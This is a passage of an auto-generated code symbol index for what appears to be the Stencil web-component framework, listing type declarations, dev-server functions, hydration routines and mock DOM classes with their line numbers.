type JsonDocsStyle (line 318) | interface JsonDocsStyle {
type JsonDocsListener (line 337) | interface JsonDocsListener {
type JsonDocsSlot (line 349) | interface JsonDocsSlot {
type JsonDocsPart (line 366) | interface JsonDocsPart {
type JsonDocsCustomState (line 385) | interface JsonDocsCustomState {
type StyleDoc (line 403) | interface StyleDoc {
FILE: src/declarations/stencil-public-runtime.ts
type CustomMethodDecorator (line 1) | type CustomMethodDecorator<T> = (
type UnionToIntersection (line 7) | type UnionToIntersection<U> = (U extends any ? (k: U) => void : never) e...
type MixinInstance (line 9) | type MixinInstance<F> = F extends (base: MixedInCtor) => MixedInCtor<inf...
type ComponentDecorator (line 11) | interface ComponentDecorator {
type ComponentOptions (line 14) | interface ComponentOptions {
type ShadowRootOptions (line 71) | interface ShadowRootOptions {
type ModeStyles (line 86) | interface ModeStyles {
type PropDecorator (line 90) | interface PropDecorator {
type PropOptions (line 93) | interface PropOptions {
type MethodDecorator (line 116) | interface MethodDecorator {
type MethodOptions (line 119) | interface MethodOptions {}
type ElementDecorator (line 121) | interface ElementDecorator {
type EventDecorator (line 125) | interface EventDecorator {
type EventOptions (line 128) | interface EventOptions {
type AttachInternalsOptions (line 149) | interface AttachInternalsOptions {
type AttachInternalsDecorator (line 167) | interface AttachInternalsDecorator {
type ListenDecorator (line 171) | interface ListenDecorator {
type ResolveVarFunction (line 175) | interface ResolveVarFunction {
type ListenOptions (line 178) | interface ListenOptions {
type ListenTargetOptions (line 204) | type ListenTargetOptions = 'body' | 'document' | 'window';
type StateDecorator (line 206) | interface StateDecorator {
type WatchDecorator (line 210) | interface WatchDecorator {
type PropSerializeDecorator (line 219) | interface PropSerializeDecorator {
type AttrDeserializeDecorator (line 223) | interface AttrDeserializeDecorator {
type UserBuildConditionals (line 227) | interface UserBuildConditionals {
type ResolutionHandler (line 346) | type ResolutionHandler = (elm: HTMLElement) => string | undefined | null;
type ErrorHandler (line 348) | type ErrorHandler = (err: any, element?: HTMLElement) => void;
type HTMLStencilElement (line 448) | interface HTMLStencilElement extends HTMLElement {
type TagTransformer (line 478) | type TagTransformer = (tag: string) => string;
type MixinFactory (line 510) | type MixinFactory = (base: MixedInCtor) => MixedInCtor;
type MixedInCtor (line 514) | type MixedInCtor<T = {}> = new (...args: any[]) => T;
type ComponentWillLoad (line 545) | interface ComponentWillLoad {
type ComponentDidLoad (line 558) | interface ComponentDidLoad {
type ComponentWillUpdate (line 570) | interface ComponentWillUpdate {
type ComponentDidUpdate (line 582) | interface ComponentDidUpdate {
type ComponentInterface (line 595) | interface ComponentInterface {
type EventEmitter (line 660) | interface EventEmitter<T = any> {
type RafCallback (line 664) | interface RafCallback {
type QueueApi (line 668) | interface QueueApi {
type HostAttributes (line 679) | interface HostAttributes {
type FunctionalUtilities (line 712) | interface FunctionalUtilities {
type FunctionalComponent (line 728) | interface FunctionalComponent<T = {}> {
type ChildNode (line 740) | interface ChildNode {
type IntrinsicElements (line 779) | interface IntrinsicElements extends LocalJSX.IntrinsicElements, JSXBase....
type VNode (line 839) | interface VNode {
type VNodeData (line 850) | interface VNodeData {
type Element (line 857) | interface Element {}
type IntrinsicElements (line 858) | interface IntrinsicElements {}
type IntrinsicElements (line 864) | interface IntrinsicElements {
type SlotAttributes (line 1041) | interface SlotAttributes<T = HTMLSlotElement> extends JSXAttributes<T> {
type AnchorHTMLAttributes (line 1047) | interface AnchorHTMLAttributes<T> extends HTMLAttributes<T> {
type AudioHTMLAttributes (line 1059) | interface AudioHTMLAttributes<T> extends MediaHTMLAttributes<T> {}
type AreaHTMLAttributes (line 1061) | interface AreaHTMLAttributes<T> extends HTMLAttributes<T> {
type BaseHTMLAttributes (line 1074) | interface BaseHTMLAttributes<T> extends HTMLAttributes<T> {
type BlockquoteHTMLAttributes (line 1079) | interface BlockquoteHTMLAttributes<T> extends HTMLAttributes<T> {
type ButtonHTMLAttributes (line 1083) | interface ButtonHTMLAttributes<T> extends HTMLAttributes<T> {
type CanvasHTMLAttributes (line 1111) | interface CanvasHTMLAttributes<T> extends HTMLAttributes<T> {
type ColHTMLAttributes (line 1116) | interface ColHTMLAttributes<T> extends HTMLAttributes<T> {
type ColgroupHTMLAttributes (line 1120) | interface ColgroupHTMLAttributes<T> extends HTMLAttributes<T> {
type DetailsHTMLAttributes (line 1124) | interface DetailsHTMLAttributes<T> extends HTMLAttributes<T> {
type DelHTMLAttributes (line 1130) | interface DelHTMLAttributes<T> extends HTMLAttributes<T> {
type DialogHTMLAttributes (line 1136) | interface DialogHTMLAttributes<T> extends HTMLAttributes<T> {
type EmbedHTMLAttributes (line 1143) | interface EmbedHTMLAttributes<T> extends HTMLAttributes<T> {
type FieldsetHTMLAttributes (line 1150) | interface FieldsetHTMLAttributes<T> extends HTMLAttributes<T> {
type FormHTMLAttributes (line 1156) | interface FormHTMLAttributes<T> extends HTMLAttributes<T> {
type HtmlHTMLAttributes (line 1171) | interface HtmlHTMLAttributes<T> extends HTMLAttributes<T> {
type IframeHTMLAttributes (line 1175) | interface IframeHTMLAttributes<T> extends HTMLAttributes<T> {
type ImgHTMLAttributes (line 1201) | interface ImgHTMLAttributes<T> extends HTMLAttributes<T> {
type InsHTMLAttributes (line 1218) | interface InsHTMLAttributes<T> extends HTMLAttributes<T> {
type InputHTMLAttributes (line 1224) | interface InputHTMLAttributes<T> extends HTMLAttributes<T> {
type KeygenHTMLAttributes (line 1290) | interface KeygenHTMLAttributes<T> extends HTMLAttributes<T> {
type LabelHTMLAttributes (line 1301) | interface LabelHTMLAttributes<T> extends HTMLAttributes<T> {
type LiHTMLAttributes (line 1306) | interface LiHTMLAttributes<T> extends HTMLAttributes<T> {
type LinkHTMLAttributes (line 1310) | interface LinkHTMLAttributes<T> extends HTMLAttributes<T> {
type MapHTMLAttributes (line 1323) | interface MapHTMLAttributes<T> extends HTMLAttributes<T> {
type MenuHTMLAttributes (line 1327) | interface MenuHTMLAttributes<T> extends HTMLAttributes<T> {
type MediaHTMLAttributes (line 1331) | interface MediaHTMLAttributes<T> extends HTMLAttributes<T> {
type MetaHTMLAttributes (line 1374) | interface MetaHTMLAttributes<T> extends HTMLAttributes<T> {
type MeterHTMLAttributes (line 1383) | interface MeterHTMLAttributes<T> extends HTMLAttributes<T> {
type QuoteHTMLAttributes (line 1393) | interface QuoteHTMLAttributes<T> extends HTMLAttributes<T> {
type ObjectHTMLAttributes (line 1397) | interface ObjectHTMLAttributes<T> extends HTMLAttributes<T> {
type OlHTMLAttributes (line 1411) | interface OlHTMLAttributes<T> extends HTMLAttributes<T> {
type OptgroupHTMLAttributes (line 1416) | interface OptgroupHTMLAttributes<T> extends HTMLAttributes<T> {
type OptionHTMLAttributes (line 1421) | interface OptionHTMLAttributes<T> extends HTMLAttributes<T> {
type OutputHTMLAttributes (line 1428) | interface OutputHTMLAttributes<T> extends HTMLAttributes<T> {
type ParamHTMLAttributes (line 1434) | interface ParamHTMLAttributes<T> extends HTMLAttributes<T> {
type ProgressHTMLAttributes (line 1439) | interface ProgressHTMLAttributes<T> extends HTMLAttributes<T> {
type ScriptHTMLAttributes (line 1444) | interface ScriptHTMLAttributes<T> extends HTMLAttributes<T> {
type SelectHTMLAttributes (line 1458) | interface SelectHTMLAttributes<T> extends HTMLAttributes<T> {
type SourceHTMLAttributes (line 1469) | interface SourceHTMLAttributes<T> extends HTMLAttributes<T> {
type StyleHTMLAttributes (line 1479) | interface StyleHTMLAttributes<T> extends HTMLAttributes<T> {
type TableHTMLAttributes (line 1486) | interface TableHTMLAttributes<T> extends HTMLAttributes<T> {
type TextareaHTMLAttributes (line 1494) | interface TextareaHTMLAttributes<T> extends HTMLAttributes<T> {
type TdHTMLAttributes (line 1516) | interface TdHTMLAttributes<T> extends HTMLAttributes<T> {
type ThHTMLAttributes (line 1522) | interface ThHTMLAttributes<T> extends HTMLAttributes<T> {
type TimeHTMLAttributes (line 1531) | interface TimeHTMLAttributes<T> extends HTMLAttributes<T> {
type TrackHTMLAttributes (line 1535) | interface TrackHTMLAttributes<T> extends HTMLAttributes<T> {
type VideoHTMLAttributes (line 1544) | interface VideoHTMLAttributes<T> extends MediaHTMLAttributes<T> {
type HTMLAttributes (line 1552) | interface HTMLAttributes<T = HTMLElement> extends DOMAttributes<T> {
type SVGAttributes (line 1627) | interface SVGAttributes<T = SVGElement> extends DOMAttributes<T> {
type ToggleEvent (line 1904) | interface ToggleEvent extends Event {
type DOMAttributes (line 1911) | interface DOMAttributes<T> extends JSXAttributes<T> {
type JSXAttributes (line 2075) | interface JSXAttributes<T = Element> {
type CustomElementsDefineOptions (line 2081) | interface CustomElementsDefineOptions {
FILE: src/dev-server/client/app-error.ts
type AppErrorData (line 4) | interface AppErrorData {
type OpenInEditorCallback (line 10) | type OpenInEditorCallback = (data: { file: string; line: number; column:...
type AppErrorResults (line 12) | interface AppErrorResults {
constant DEV_SERVER_MODAL (line 303) | const DEV_SERVER_MODAL = `dev-server-modal`;
FILE: src/dev-server/client/events.ts
constant BUILD_LOG (line 31) | const BUILD_LOG = `devserver:buildlog`;
constant BUILD_RESULTS (line 32) | const BUILD_RESULTS = `devserver:buildresults`;
constant BUILD_STATUS (line 33) | const BUILD_STATUS = `devserver:buildstatus`;
FILE: src/dev-server/client/logger.ts
constant YELLOW (line 57) | const YELLOW = `#f39c12`;
constant RED (line 58) | const RED = `#c0392b`;
constant BLUE (line 59) | const BLUE = `#3498db`;
constant GRAY (line 60) | const GRAY = `#717171`;
FILE: src/dev-server/client/progress.ts
function update (line 15) | function update() {
function reset (line 41) | function reset() {
function displayProgress (line 75) | function displayProgress() {
function getProgressBar (line 115) | function getProgressBar() {
function createProgressBar (line 119) | function createProgressBar() {
FILE: src/dev-server/client/status.ts
constant ICON_DEFAULT (line 77) | const ICON_DEFAULT =
constant ICON_PENDING (line 79) | const ICON_PENDING =
constant ICON_ERROR (line 81) | const ICON_ERROR =
constant ICON_DISABLED (line 83) | const ICON_DISABLED =
constant ICON_TYPE (line 85) | const ICON_TYPE = 'image/x-icon';
FILE: src/dev-server/dev-server-client/client-web-socket.ts
function onOpen (line 12) | function onOpen(this: WebSocket) {
function onError (line 38) | function onError() {
function onClose (line 44) | function onClose(event: { code: number; reason: string }) {
function onMessage (line 58) | function onMessage(event: any) {
function connect (line 108) | function connect() {
function queueReconnect (line 122) | function queueReconnect() {
constant RECONNECT_ATTEMPTS (line 162) | const RECONNECT_ATTEMPTS = 1000;
constant RECONNECT_RETRY_MS (line 163) | const RECONNECT_RETRY_MS = 2500;
constant NORMAL_CLOSURE_CODE (line 164) | const NORMAL_CLOSURE_CODE = 1000;
constant REQUEST_BUILD_RESULTS_INTERVAL_MS (line 165) | const REQUEST_BUILD_RESULTS_INTERVAL_MS = 500;
FILE: src/dev-server/dev-server-constants.ts
constant DEV_SERVER_URL (line 1) | const DEV_SERVER_URL = '/~dev-server';
constant DEV_MODULE_URL (line 3) | const DEV_MODULE_URL = '/~dev-module';
constant DEV_SERVER_INIT_URL (line 5) | const DEV_SERVER_INIT_URL = `${DEV_SERVER_URL}-init`;
constant OPEN_IN_EDITOR_URL (line 7) | const OPEN_IN_EDITOR_URL = `${DEV_SERVER_URL}-open-in-editor`;
FILE: src/dev-server/dev-server-utils.ts
function responseHeaders (line 6) | function responseHeaders(headers: d.DevResponseHeaders, httpCache = fals...
constant DEFAULT_HEADERS (line 16) | const DEFAULT_HEADERS: d.DevResponseHeaders = {
function getBrowserUrl (line 25) | function getBrowserUrl(protocol: string, address: string, port: number, ...
function getDevServerClientUrl (line 40) | function getDevServerClientUrl(devServerConfig: d.DevServerConfig, host:...
function getContentType (line 52) | function getContentType(filePath: string) {
function isHtmlFile (line 62) | function isHtmlFile(filePath: string) {
function isCssFile (line 67) | function isCssFile(filePath: string) {
constant TXT_EXT (line 72) | const TXT_EXT = ['css', 'html', 'htm', 'js', 'json', 'svg', 'xml'];
function isSimpleText (line 74) | function isSimpleText(filePath: string) {
function isExtensionLessPath (line 79) | function isExtensionLessPath(pathname: string) {
function isSsrStaticDataPath (line 85) | function isSsrStaticDataPath(pathname: string) {
function getSsrStaticDataPath (line 91) | function getSsrStaticDataPath(req: d.HttpRequest) {
function isDevClient (line 113) | function isDevClient(pathname: string) {
function isDevModule (line 117) | function isDevModule(pathname: string) {
function isOpenInEditor (line 121) | function isOpenInEditor(pathname: string) {
function isInitialDevServerLoad (line 125) | function isInitialDevServerLoad(pathname: string) {
function isDevServerClient (line 129) | function isDevServerClient(pathname: string) {
function shouldCompress (line 133) | function shouldCompress(devServerConfig: d.DevServerConfig, req: d.HttpR...
FILE: src/dev-server/index.ts
function start (line 16) | function start(stencilDevServerConfig: StencilDevServerConfig, logger: L...
function startServer (line 46) | function startServer(
FILE: src/dev-server/open-in-browser.ts
function openInBrowser (line 3) | async function openInBrowser(opts: { url: string }) {
FILE: src/dev-server/open-in-editor-api.ts
method configure (line 3) | configure(_opts: OpenInEditorOptions, _cb: OpenInEditorCallback): { open...
type OpenInEditorOptions (line 9) | interface OpenInEditorOptions {
type OpenInEditorCallback (line 13) | type OpenInEditorCallback = (err: any) => {};
type OpenInEditorDetections (line 15) | interface OpenInEditorDetections {
FILE: src/dev-server/open-in-editor.ts
function serveOpenInEditor (line 7) | async function serveOpenInEditor(serverCtx: d.DevServerContext, req: d.H...
function parseData (line 38) | async function parseData(
function openDataInEditor (line 84) | async function openDataInEditor(data: d.OpenInEditorData) {
function getEditors (line 110) | function getEditors() {
function isEditorSupported (line 150) | async function isEditorSupported(editorId: string) {
constant EDITORS (line 161) | const EDITORS: { [editor: string]: string } = {
constant EDITOR_PRIORITY (line 173) | const EDITOR_PRIORITY: { [editor: string]: number } = {
FILE: src/dev-server/request-handler.ts
function createRequestHandler (line 13) | function createRequestHandler(devServerConfig: d.DevServerConfig, server...
function isValidUrlBasePath (line 115) | function isValidUrlBasePath(basePath: string, url: URL) {
function normalizeHttpRequest (line 127) | function normalizeHttpRequest(devServerConfig: d.DevServerConfig, incomi...
function isValidHistoryApi (line 162) | function isValidHistoryApi(devServerConfig: d.DevServerConfig, req: d.Ht...
FILE: src/dev-server/serve-dev-client.ts
function serveDevClient (line 10) | async function serveDevClient(
function serveDevClientScript (line 46) | async function serveDevClientScript(
FILE: src/dev-server/serve-dev-node-module.ts
function serveDevNodeModule (line 6) | async function serveDevNodeModule(serverCtx: d.DevServerContext, req: d....
FILE: src/dev-server/serve-directory-index.ts
function serveDirectoryIndex (line 8) | async function serveDirectoryIndex(
function getFiles (line 60) | async function getFiles(sys: d.CompilerSystem, baseUrl: URL, dirItemName...
function getDirectoryItems (line 84) | async function getDirectoryItems(sys: d.CompilerSystem, baseUrl: URL, di...
function getTitle (line 103) | function getTitle(pathName: string) {
function getName (line 107) | function getName(pathName: string) {
type DirectoryItem (line 125) | interface DirectoryItem {
FILE: src/dev-server/serve-file.ts
function serveFile (line 11) | async function serveFile(
function updateStyleUrls (line 74) | function updateStyleUrls(url: URL, oldCss: string) {
function appendDevServerClientScript (line 109) | function appendDevServerClientScript(devServerConfig: d.DevServerConfig,...
function appendDevServerClientIframe (line 119) | function appendDevServerClientIframe(content: string, iframe: string) {
FILE: src/dev-server/server-context.ts
function createServerContext (line 8) | function createServerContext(
type CompilerRequestResolve (line 137) | interface CompilerRequestResolve {
type BuildRequestResolve (line 143) | interface BuildRequestResolve {
FILE: src/dev-server/server-http.ts
function createHttpServer (line 8) | function createHttpServer(devServerConfig: d.DevServerConfig, serverCtx:...
function findClosestOpenPort (line 17) | async function findClosestOpenPort(host: string, port: number, strictPor...
function isPortTaken (line 40) | function isPortTaken(host: string, port: number): Promise<boolean> {
FILE: src/dev-server/server-process.ts
function initServerProcess (line 13) | function initServerProcess(sendMsg: d.DevServerSendMessage) {
FILE: src/dev-server/server-web-socket.ts
function createWebSocket (line 7) | function createWebSocket(
type DevWebSocket (line 82) | interface DevWebSocket {
type DevWS (line 87) | interface DevWS extends WebSocket {
FILE: src/dev-server/server-worker-main.ts
function initServerProcessWorkerProxy (line 6) | function initServerProcessWorkerProxy(sendToMain: (msg: d.DevServerMessa...
FILE: src/dev-server/ssr-request.ts
function ssrPageRequest (line 9) | async function ssrPageRequest(
function ssrStaticDataRequest (line 60) | async function ssrStaticDataRequest(
function setupHydrateApp (line 122) | async function setupHydrateApp(devServerConfig: d.DevServerConfig, serve...
function getSsrHydrateOptions (line 173) | function getSsrHydrateOptions(devServerConfig: d.DevServerConfig, server...
function getSsrErrorContent (line 217) | function getSsrErrorContent(diagnostics: d.Diagnostic[]) {
type HydrateApp (line 241) | type HydrateApp = {
FILE: src/dev-server/test/req-handler.spec.ts
type TestServerResponse (line 470) | interface TestServerResponse extends ServerResponse {
FILE: src/hydrate/platform/hydrate-app.ts
function hydrateApp (line 9) | function hydrateApp(
function hydrateComponent (line 185) | async function hydrateComponent(
function isValidComponent (line 237) | function isValidComponent(elm: Element, opts: d.HydrateFactoryOptions) {
function shouldHydrate (line 253) | function shouldHydrate(elm: Element): boolean {
constant NO_HYDRATE_TAGS (line 271) | const NO_HYDRATE_TAGS = new Set([
function renderCatchError (line 287) | function renderCatchError(opts: d.HydrateFactoryOptions, results: d.Hydr...
function printTag (line 320) | function printTag(elm: HTMLElement) {
function waitingOnElementMsg (line 335) | function waitingOnElementMsg(waitingElement: HTMLElement) {
function waitingOnElementsMsg (line 356) | function waitingOnElementsMsg(waitingElements: Set<HTMLElement>) {
function tagRequiresScoped (line 368) | function tagRequiresScoped(tagName: string, opts: d.HydrateFactoryOption...
FILE: src/hydrate/platform/proxy-host-element.ts
function proxyHostElement (line 7) | function proxyHostElement(elm: d.HostElement, cstr: d.ComponentConstruct...
function componentOnReady (line 124) | function componentOnReady(this: d.HostElement) {
function forceUpdate (line 128) | function forceUpdate(this: d.HostElement) {
FILE: src/hydrate/runner/create-window.ts
function createWindowFromHtml (line 5) | function createWindowFromHtml(templateHtml: string, uniqueId: string) {
FILE: src/hydrate/runner/hydrate-factory.ts
function hydrateFactory (line 5) | function hydrateFactory<DocOptions extends d.SerializeDocumentOptions>(
FILE: src/hydrate/runner/inspect-element.ts
function inspectElement (line 3) | function inspectElement(results: d.HydrateResults, elm: Element, depth: ...
function collectAttributes (line 88) | function collectAttributes(node: Element) {
constant SKIP_ATTRS (line 106) | const SKIP_ATTRS = new Set(['s-id', 'c-id']);
FILE: src/hydrate/runner/patch-dom-implementation.ts
function patchDomImplementation (line 5) | function patchDomImplementation(doc: any, opts: d.HydrateFactoryOptions) {
function getRootNode (line 58) | function getRootNode(this: Node, opts?: { composed?: boolean; [key: stri...
FILE: src/hydrate/runner/render-utils.ts
function normalizeHydrateOptions (line 3) | function normalizeHydrateOptions(inputOpts?: d.HydrateDocumentOptions) {
function filterValidTags (line 48) | function filterValidTags(tag: string) {
function mapValidTags (line 52) | function mapValidTags(tag: string) {
function generateHydrateResults (line 56) | function generateHydrateResults(opts: d.HydrateDocumentOptions) {
function renderBuildDiagnostic (line 119) | function renderBuildDiagnostic(
function renderBuildError (line 147) | function renderBuildError(results: d.HydrateResults, msg?: string) {
function renderCatchError (line 151) | function renderCatchError(results: d.HydrateResults, err: any) {
FILE: src/hydrate/runner/render.ts
function streamToString (line 25) | function streamToString(html: string | any, option?: SerializeDocumentOp...
function renderToString (line 35) | function renderToString(
function hydrateDocument (line 68) | function hydrateDocument(
function render (line 132) | async function render(win: MockWindow, opts: HydrateFactoryOptions, resu...
function renderStream (line 168) | function renderStream(win: MockWindow, opts: HydrateFactoryOptions, resu...
function afterHydrate (line 177) | async function afterHydrate(
function finalizeHydrate (line 193) | function finalizeHydrate(win: MockWindow, doc: Document, opts: HydrateFa...
function destroyWindow (line 269) | function destroyWindow(win: MockWindow, doc: Document, opts: HydrateFact...
function serializeDocumentToString (line 288) | function serializeDocumentToString(doc: Document, opts: HydrateFactoryOp...
function isValidDocument (line 302) | function isValidDocument(doc: Document) {
function removeScripts (line 313) | function removeScripts(elm: HTMLElement) {
FILE: src/hydrate/runner/runtime-log.ts
function runtimeLogging (line 6) | function runtimeLogging(win: MockWindow, opts: d.HydrateDocumentOptions,...
function runtimeLog (line 54) | function runtimeLog(pathname: string, type: string, msgs: any[]) {
FILE: src/hydrate/runner/window-initialize.ts
function initializeWindow (line 17) | function initializeWindow(
FILE: src/internal/stencil-core/jsx-dev-runtime.d.ts
type BaseElements (line 32) | type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements;
type IntrinsicElements (line 34) | type IntrinsicElements = {
type Element (line 40) | type Element = VNode | VNode[] | null;
FILE: src/internal/stencil-core/jsx-runtime.d.ts
type BaseElements (line 31) | type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements;
type IntrinsicElements (line 33) | type IntrinsicElements = {
type Element (line 39) | type Element = VNode | VNode[] | null;
FILE: src/mock-doc/attribute.ts
method get (line 4) | get(obj: any, prop: string) {
class MockAttributeMap (line 18) | class MockAttributeMap {
method constructor (line 21) | constructor(public caseInsensitive = false) {}
method length (line 23) | get length() {
method item (line 27) | item(index: number) {
method setNamedItem (line 31) | setNamedItem(attr: MockAttr) {
method setNamedItemNS (line 36) | setNamedItemNS(attr: MockAttr) {
method getNamedItem (line 49) | getNamedItem(attrName: string) {
method getNamedItemNS (line 56) | getNamedItemNS(namespaceURI: string | null, attrName: string) {
method removeNamedItem (line 63) | removeNamedItem(attr: MockAttr) {
method removeNamedItemNS (line 67) | removeNamedItemNS(attr: MockAttr) {
method [Symbol.iterator] (line 76) | [Symbol.iterator]() {
method [Symbol.toStringTag] (line 87) | get [Symbol.toStringTag]() {
function getNamespaceURI (line 92) | function getNamespaceURI(namespaceURI: string | null) {
function cloneAttributes (line 96) | function cloneAttributes(srcAttrs: MockAttributeMap, sortByName = false) {
function sortAttributes (line 123) | function sortAttributes(a: MockAttr, b: MockAttr) {
class MockAttr (line 129) | class MockAttr {
method constructor (line 134) | constructor(attrName: string, attrValue: string, namespaceURI: string ...
method name (line 140) | get name() {
method name (line 143) | set name(value) {
method value (line 147) | get value() {
method value (line 150) | set value(value) {
method nodeName (line 154) | get nodeName() {
method nodeName (line 157) | set nodeName(value) {
method nodeValue (line 161) | get nodeValue() {
method nodeValue (line 164) | set nodeValue(value) {
method namespaceURI (line 168) | get namespaceURI() {
method namespaceURI (line 171) | set namespaceURI(namespaceURI) {
FILE: src/mock-doc/comment-node.ts
class MockComment (line 4) | class MockComment extends MockNode {
method constructor (line 5) | constructor(ownerDocument: any, data: string) {
method cloneNode (line 9) | override cloneNode(_deep?: boolean) {
method textContent (line 13) | override get textContent() {
method textContent (line 17) | override set textContent(text) {
FILE: src/mock-doc/console.ts
function createConsole (line 5) | function createConsole(): any {
FILE: src/mock-doc/constants.ts
type NODE_TYPES (line 1) | const enum NODE_TYPES {
type NODE_NAMES (line 16) | const enum NODE_NAMES {
FILE: src/mock-doc/css-style-declaration.ts
class MockCSSStyleDeclaration (line 1) | class MockCSSStyleDeclaration {
method setProperty (line 4) | setProperty(prop: string, value: string) {
method getPropertyValue (line 14) | getPropertyValue(prop: string) {
method removeProperty (line 19) | removeProperty(prop: string) {
method length (line 24) | get length() {
method cssText (line 28) | get cssText() {
method cssText (line 38) | set cssText(cssText: string) {
function createCSSStyleDeclaration (line 60) | function createCSSStyleDeclaration() {
method get (line 65) | get(cssStyle, prop: string) {
method set (line 73) | set(cssStyle, prop: string, value) {
function cssCaseToJsCase (line 83) | function cssCaseToJsCase(str: string) {
function jsCaseToCssCase (line 96) | function jsCaseToCssCase(str: string) {
FILE: src/mock-doc/css-style-sheet.ts
class MockCSSRule (line 3) | class MockCSSRule {
method constructor (line 6) | constructor(public parentStyleSheet: MockCSSStyleSheet) {}
class MockCSSStyleSheet (line 9) | class MockCSSStyleSheet {
method constructor (line 15) | constructor(ownerNode?: MockStyleElement) {
method rules (line 19) | get rules() {
method rules (line 22) | set rules(rules) {
method deleteRule (line 26) | deleteRule(index: number) {
method insertRule (line 35) | insertRule(rule: string, index = 0) {
method replaceSync (line 54) | replaceSync(cssText: string) {
function getStyleElementText (line 77) | function getStyleElementText(styleElm: MockStyleElement) {
function setStyleElementText (line 85) | function setStyleElementText(styleElm: MockStyleElement, text: string) {
function updateStyleTextNode (line 97) | function updateStyleTextNode(styleElm: MockStyleElement) {
FILE: src/mock-doc/custom-element-registry.ts
class MockCustomElementRegistry (line 4) | class MockCustomElementRegistry implements CustomElementRegistry {
method constructor (line 8) | constructor(private win: Window) {}
method define (line 10) | define(tagName: string, cstr: any, options?: any) {
method get (line 60) | get(tagName: string) {
method getName (line 70) | getName(cstr: CustomElementConstructor) {
method upgrade (line 79) | upgrade(_rootNode: any) {
method clear (line 83) | clear() {
method whenDefined (line 93) | whenDefined(tagName: string): Promise<CustomElementConstructor> {
function createCustomElement (line 116) | function createCustomElement(customElements: MockCustomElementRegistry, ...
function connectNode (line 169) | function connectNode(ownerDocument: any, node: MockNode) {
function fireConnectedCallback (line 197) | function fireConnectedCallback(node: any) {
function disconnectNode (line 209) | function disconnectNode(node: MockNode) {
function attributeChanged (line 224) | function attributeChanged(node: MockNode, attrName: string, oldValue: st...
function checkAttributeChanged (line 240) | function checkAttributeChanged(node: MockNode) {
FILE: src/mock-doc/dataset.ts
function dataset (line 3) | function dataset(elm: MockElement) {
function toDataAttribute (line 28) | function toDataAttribute(str: string) {
function dashToPascalCase (line 39) | function dashToPascalCase(str: string) {
FILE: src/mock-doc/document-fragment.ts
class MockDocumentFragment (line 6) | class MockDocumentFragment extends MockHTMLElement {
method constructor (line 7) | constructor(ownerDocument: any) {
method getElementById (line 13) | getElementById(id: string): MockElement {
method adoptedStyleSheets (line 17) | get adoptedStyleSheets(): MockCSSStyleSheet[] {
method adoptedStyleSheets (line 21) | set adoptedStyleSheets(_adoptedStyleSheets: MockCSSStyleSheet[]) {
method cloneNode (line 25) | override cloneNode(deep?: boolean) {
FILE: src/mock-doc/document-type-node.ts
class MockDocumentTypeNode (line 4) | class MockDocumentTypeNode extends MockHTMLElement {
method constructor (line 5) | constructor(ownerDocument: any) {
FILE: src/mock-doc/document.ts
class MockDocument (line 13) | class MockDocument extends MockHTMLElement {
method constructor (line 18) | constructor(html: string | boolean | null = null, win: any = null) {
method dir (line 45) | override get dir() {
method dir (line 48) | override set dir(value: string) {
method localName (line 52) | override get localName(): never {
method location (line 56) | get location(): Location | null {
method location (line 62) | set location(val: string) {
method baseURI (line 68) | get baseURI() {
method URL (line 76) | get URL() {
method styleSheets (line 80) | get styleSheets() {
method scripts (line 84) | get scripts() {
method forms (line 88) | get forms() {
method images (line 92) | get images() {
method scrollingElement (line 96) | get scrollingElement() {
method documentElement (line 100) | get documentElement() {
method documentElement (line 111) | set documentElement(documentElement) {
method head (line 123) | get head() {
method head (line 135) | set head(head) {
method body (line 148) | get body() {
method body (line 160) | set body(body) {
method appendChild (line 173) | override appendChild(newNode: MockElement) {
method createComment (line 180) | createComment(data: string) {
method createAttribute (line 184) | createAttribute(attrName: string) {
method createAttributeNS (line 188) | createAttributeNS(namespaceURI: string, attrName: string) {
method createElement (line 192) | createElement(tagName: string) {
method createElementNS (line 203) | createElementNS(namespaceURI: string, tagName: string) {
method createTextNode (line 208) | createTextNode(text: string) {
method createDocumentFragment (line 212) | createDocumentFragment() {
method createDocumentTypeNode (line 216) | createDocumentTypeNode() {
method getElementById (line 220) | getElementById(id: string) {
method getElementsByName (line 224) | getElementsByName(elmName: string) {
method title (line 228) | override get title() {
method title (line 235) | override set title(value: string) {
function createDocument (line 246) | function createDocument(html: string | boolean = null): Document {
function createFragment (line 250) | function createFragment(html?: string): DocumentFragment {
function resetDocument (line 254) | function resetDocument(doc: Document) {
constant DOC_KEY_KEEPERS (line 290) | const DOC_KEY_KEEPERS = new Set([
function getElementById (line 301) | function getElementById(elm: MockElement, id: string): MockElement {
function getElementsByName (line 316) | function getElementsByName(elm: MockElement, elmName: string, foundElms:...
function setOwnerDocument (line 328) | function setOwnerDocument(elm: MockElement, ownerDocument: any) {
FILE: src/mock-doc/element.ts
function createElement (line 8) | function createElement(ownerDocument: any, tagName: string): any {
function createElementNS (line 77) | function createElementNS(ownerDocument: any, namespaceURI: string, tagNa...
class MockAnchorElement (line 108) | class MockAnchorElement extends MockHTMLElement {
method constructor (line 109) | constructor(ownerDocument: any) {
method href (line 113) | get href() {
method href (line 116) | set href(value: string) {
method pathname (line 119) | get pathname() {
class MockButtonElement (line 127) | class MockButtonElement extends MockHTMLElement {
method constructor (line 128) | constructor(ownerDocument: any) {
method labels (line 132) | get labels() {
method get (line 147) | get(this: MockElement) {
class MockImageElement (line 152) | class MockImageElement extends MockHTMLElement {
method constructor (line 153) | constructor(ownerDocument: any) {
method draggable (line 157) | override get draggable() {
method draggable (line 160) | override set draggable(value: boolean) {
method src (line 164) | get src() {
method src (line 167) | set src(value: string) {
class MockInputElement (line 176) | class MockInputElement extends MockHTMLElement {
method constructor (line 177) | constructor(ownerDocument: any) {
method list (line 181) | get list() {
method labels (line 189) | get labels() {
class MockFormElement (line 234) | class MockFormElement extends MockHTMLElement {
method constructor (line 235) | constructor(ownerDocument: any) {
class MockLabelElement (line 243) | class MockLabelElement extends MockHTMLElement {
method constructor (line 244) | constructor(ownerDocument: any) {
method htmlFor (line 248) | get htmlFor() {
method htmlFor (line 251) | set htmlFor(value: string) {
method control (line 255) | get control(): MockHTMLElement | null {
class MockLinkElement (line 267) | class MockLinkElement extends MockHTMLElement {
method constructor (line 268) | constructor(ownerDocument: any) {
method href (line 272) | get href() {
method href (line 275) | set href(value: string) {
class MockMetaElement (line 286) | class MockMetaElement extends MockHTMLElement {
method constructor (line 289) | constructor(ownerDocument: any) {
class MockScriptElement (line 299) | class MockScriptElement extends MockHTMLElement {
